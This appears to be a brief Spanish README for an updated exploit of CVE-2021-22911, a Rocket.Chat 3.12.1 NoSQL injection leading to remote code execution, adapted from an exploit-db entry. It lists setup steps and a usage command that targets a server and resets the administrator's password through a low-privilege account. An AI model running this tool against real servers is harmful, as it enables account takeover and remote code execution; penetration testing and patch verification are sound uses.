Exploit actualizado para CVE-2021-22911 (Rocket.Chat 3.12.1 - Inyección NoSQL a RCE (sin autenticación))

créditos originales para : https://www.exploit-db.com/exploits/50108

Configuración

• Crear un entorno virtual de Python e instalar dependencias

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

Uso

• Añadí un nuevo argumento -p que toma la contraseña del usuario con privilegios bajos y también la usa para restablecer la contraseña del administrador

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"